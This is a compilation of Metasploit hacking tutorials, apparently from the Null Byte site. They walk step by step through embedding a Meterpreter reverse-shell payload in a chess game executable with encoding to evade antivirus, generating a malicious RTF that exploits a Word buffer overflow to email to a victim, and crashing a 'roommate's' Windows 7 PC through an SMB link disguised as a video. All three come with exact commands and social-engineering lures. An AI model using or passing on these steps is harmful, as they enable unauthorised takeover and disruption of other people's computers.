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Metasploit: Msfvenom 

Eluding and evading antivirus software and intrusion detection systems is one of the most critical 

tasks of the hacker. As soon as a new exploit is developed and discovered, the AV and IDS 

developers build a signature for the attack, which is then likely to be detected and prevented. 

One obvious way around this problem is to develop your own exploits, and that is what we have 

begun to do in our Exploit Building series. Another potential method is to change the encoding, 

thereby changing the signature of the exploit and/or payload. 

Previously, to re-encode a payload in Metasploit, you had to pipe msfpayload through the 

msfencode command as shown in this tutorial. Recently, Rapid7, the developers of Metasploit, 

introduced a new command that takes the place of the clunky combination of msfpayload and 

msfencode to streamline the process of re-encoding a Metasploit payload. Let's take a look at it in 

this guide. 

A Quick Note About Re-Encoding Payloads 

Re-encoding a Metasploit payload used to work for evading AV and other security devices, but 

the people who develop AV software are not dumb. They have now found ways to detect even a 

re-encoded payload from Metasploit. 

Now, rather than just look for the signature of the payload you have encoded, they simply look 

for the signature of the template that Metasploit uses to re-encode. In this way, no matter how 

many different encoding schemes you use, the template is the same and the AV software has its 

signature. 

Don't fret though, there are still ways to re-encode a payload that are still undetectable by AV 

software. I will be starting a new series soon on evading AV software where I will demonstrate 

many of the ways, so stay tuned for that. 

Step 1: Fire Up Kali & Start Metasploit 

Let's start by firing up Kali and opening the msfconsole. You can do that by simply typing 

"msfconsole," or you can use the GUI and go to Applications -> Kali Linux -> Top 10 Security 

Tools -> Metasploit Framework. When you do so, you will find yourself in this interactive 

Metasploit shell. 

http://null-byte.wonderhowto.com/how-to/evading-av-software/
http://null-byte.wonderhowto.com/how-to/exploit-building/
http://null-byte.wonderhowto.com/how-to/hack-like-pro-metasploit-for-aspiring-hacker-part-3-payloads-0157032/
http://null-byte.wonderhowto.com/how-to/metasploit-basics/
http://null-byte.wonderhowto.com/how-to/hack-like-pro-change-signature-metasploit-payloads-evade-antivirus-detection-0149867/
http://null-byte.wonderhowto.com/how-to/hack-like-pro-getting-started-with-kali-your-new-hacking-system-0151631/
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Step 2: See the Msfvenom Options 

Now, at the prompt, type "msfvenom" to pull up its help page (you can also use the -h switch). 

msf > msfvenom 
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Let's take a look at some of the most important options in this list. 

 -p designates the Metasploit payload we want to use 
 -e designates the encoder we want to use 
 -a designates the architecture we want to use (default is x86) 
 -s designates the maximum size of the payload 
 -i designates the number of iterations with which to encode the payload 
 -x designates a custom executable file to use as a template 

Step 3: List the Encoders 

Encoders are the various algorithms and encoding schemes that Metasploit can use to re-encode 

the payloads. Metasploit has numerous encoding schemes, and we can look at these by typing: 

msf > msfvenom -l encoders 

Metasploit will then list all of the available encoders with each's rank and description. Below, I 

have highlighted the shikata_ga_nai encoder that we used in a previous tutorial. Note that 

shikata_ga_nai is ranked "excellent." 

http://null-byte.wonderhowto.com/how-to/hack-like-pro-change-signature-metasploit-payloads-evade-antivirus-detection-0149867/
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Step 4: View the Payload Options 

We can use msfvenom to check the options that we need to set for any payload similar to "show 

options" in the Metasploit console. The command to check any payload's options is: 

msf > msfvenom -p <payload name> -o 

So, if we want to check the options for the windows/meterpreter/reverse_tcp payload, we simply 

type: 

msf >msfvenom -p windows/meterpreter/reverse_tcp -0 

When we do so, Metasploit responds like below. 

 

So, if we want to work with this payload, we now know what options we need to set in the 

msfvenom command. 

Step 5: Create a Custom Windows Executable 

Now, let's create a custom Windows executable with a custom template. Although we can create 

a payload without a custom template, we have a better chance of getting past security devices and 

AV if we use a custom template. In this case, we will use a chess game named "chess.exe." The 

idea here is that we will embed the meterpreter payload into the chess game and then, when the 

victim opens the game to play chess, it will open a meterpreter session on our system. 
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I have placed the chess game in the /usr/share directory. 

To create a malicious executable with the windows/meterpreter/reverse_tcp embedded inside, we 

simply type: 

msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <your local IP> 

LPORT=<whatever port you want to listen on> -x /usr/share/chess.exe -e x86/shikata_ga_nai -

i 200 -f exe >chess.exe 

 

 -p /windows/meterpreter/reverse_tcp designates the payload we want to embed 
 LHOST designates the local host 
 LPORT designates the port we want to listen on 
 -x designates the template we want to use and the path to it 
 -e x86/shikata_ga_nai designates the encoder we want to use 
 -i 200 represents the number of iterations 
 -f exe designates we want to create an executable (.exe) 
 chess.exe designates the name of the file created 

When the victim clicks on the chess.exe file, the meterpreter payload will be activated and will 

look to make a connection back to your system (LHOST). For the connection to succeed, you 

will need to open the multi-handler in Metasploit to receive the connection. 

msf >use exploit/multi/handler 

msf > set payload windows/meterpreter/reverse_tcp 

This new command in Metasploit, msfvenom, can streamline the process of re-encoding and 

embedding payloads, but is no guarantee for getting past AV software any longer. I will be 

starting a new series on evading AV software soon with the latest techniques, so keep coming 

back, my hacker novitiates! 

http://img.wonderhowto.com/img/original/90/56/63556667140987/0/635566671409879056.jpg


Client Side Attack  

Exploit MS Word to Embed a Listener on Your Roommate's Computer 

 

P a g e  7 | 15 

 

As web server and OS's have become hardened and living behind significant perimeter defenses, 

hackers have migrated to the easiest route to the pot of gold. This is through the often unpatched, 

unhardened client-side system with little in the way of defenses and a plethora of vulnerable 

software, including the ubiquitous Microsoft Office products. 

This hack will work on the Word 2007 or Word 2010. It exploits a buffer overflow in Word to 

allow us to plant a listener on our target system. I'm assuming that you have the victim's IP 

address and have verified the Microsoft Office is running (a good assumption, but its better to 

verify). 

Step 1: Start Metasploit 

So, let fire up Metasploit and find the exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. 

Now, set Metasploit to use this exploit by typing: 

msf >use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 

 

http://null-byte.wonderhowto.com/how-to/hack-like-pro-getting-started-with-metasploit-0134442/
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Step 2: Set a Payload 

Then we need to set a payload. In this case, we wish to use Metasploit's powerful Meterpreter to 

establish a listener on the victim's system. 

msf exploit( ms10_087_rtf_pfragments_bof) > set payload 

windows/meterpreter/reverse_tcp 

 

Step 3: Show Options 

Now, let's look at our options. As you know from my previous Metasploit blogs, every exploit 

has options, some mandatory and some not. Let's take a look at the options for this exploit by 

typing 

msf >show options 
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Step 4: Change FILENAME 

We can see from the screenshot above that Metasploit has a number of options for this exploit. 

First, we are creating a .rtf file and Metasploit gives it a default name of FILENAME. Let's 

change that name to something more inviting to our victim, such as newyearsgreeting.rtf 

msf >set FILENAME newyearsgreeting.rtf 

Step 5: Set Your Local Host 

Next we need to set the LHOST or the local host. This will be the system we will be listening 

from--usually our local system--but it could be any system you want to listen from. We simply 

need to set the LHOST with the IP address of our listening system, in this case 192.168.1.100. 

msf> set LHOST 192.168.1.100 
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Step 6: Last Check of Options 

Before we exploit the victim's system, let's check to make sure all our options are set properly. 

msf> show options 

 

Note in the screenshot that the FILENAME is now set to newyearsgreeting.rtf and the LHOST is 

192.168.1.100. 

Step 7: Exploit 

Now, we are ready to exploit. Simply type: 

msf > exploit 
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You can see that Metasploit has generated a file called newyearsgreeting.rtf and placed it at 

/root/.msf4/local/newyearsgreeting.rtf. 

Step 8: Send the File to the Victim 

Now we need to send this file to the victim through email or other method. Once the victim opens 

the file, the Word application will hang or crash leaving us with an active session of Meterpeter 

on the victim's system. With an active Meterpreter session on the victim's system, we have nearly 

total control or "own" their system. 
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These operating systems, Windows XP, Windows Vista, and Windows Server 2003, were first 

released, in some cases, almost 10 years ago, they are still in wide use. I have done consulting to 

many large corporations and institutions and am always surprised to see Windows XP systems 

still being used. On the other, I'm never surprised to see Windows Server 2003, as server 

operating systems get upgraded much less often. 

Operating system hacks can be fun, especially when they come at the expense of that software 

behemoth Microsoft, but they are becoming increasingly rare as Microsoft pays more attention to 

security. That is one of the reasons that more and more attacks are centered upon the client-side 

application software instead of the OS. 

Crashing Your Roommate's Windows 7 Computer 

Before we move on to client-side application hacks, I want to do at least one more operating 

system hack. Vulnerabilities still exist in the new operating systems, but they are becoming rarer 

and rarer. With so many vulnerabilities in client-side applications, why would you want to spend 

a lot of time on the OS? 

In this hack, we will take advantage of a flaw in Windows 7 and Windows Server 2008 operating 

systems that will create an infinite loop and crash the system. Although this isn't nearly as much 

fun as owning the system, it can be very destructive to an institution that relies upon this system 

to run their organization. 

Enough talk, let's get started. Fire up your Metasploit on Back Track 5 and let's hack! If you're 

new to Metasploit, check out my article on getting started with it, as well as some of the past 

hacks. 

Step 1: A Little Background Material 

Remember that Metasploit has six types of modules, exploits, payloads, auxiliary, encoders, 

NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or 

Windows Server 2008 system's SMB. 

msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loop 

http://null-byte.wonderhowto.com/how-to/hack-like-pro-crash-your-roommates-windows-7-pc-with-link-0139525/
http://null-byte.wonderhowto.com/how-to/hack-like-pro-getting-started-with-metasploit-0134442/
http://creator.wonderhowto.com/occupythewebotw/
http://creator.wonderhowto.com/occupythewebotw/
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Step 2: Show Options 

Now that we have selected our module, let's look at our options: 

msf> auxiliary(ms10_negotiate_response_loop) show options 

As we can see in the screenshot below, the only option we need to set is SVRHOST, which is 

our—the attacker's—system. In my case, it is 192.168.1.100. Yours may be different; check your 

IP address by typing ifconfig in a terminal. 

http://null-byte.wonderhowto.com/how-to/hack-like-pro-crash-your-roommates-windows-7-pc-with-link-0139525/
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Step 3: Set SVRHOST 

Next, set your SVRHOST by typing: 

msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.100 

Step 4: Run 

In the last step, we run the auxiliary module and once the module executes, it generates a shared 

folder link which you can send to the target machine. In this case, the link is 

\\192.168.1.100\Shared\Anything. 

msf > auxiliary(ms10_negotiate_response_loop) run 

http://null-byte.wonderhowto.com/how-to/hack-like-pro-crash-your-roommates-windows-7-pc-with-link-0139525/
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Step 5: Making an Attractive Link 

Metasploit then starts the malicious SMB service and when the target clicks on the link, the target 

system will begin to run an infinite loop, freeze, and crash. 

To make the link look safe and more inviting, we might try crafting a webpage and attaching this 

link to it. Sending this link with an email that says something like "Hey, check out this sick 

video!" When the victim clicks on the link to view the "video", their system crashes. 

In my next few hacks, we will start looking at attacking the many vulnerable client-side 

applications. Happy hacking! 
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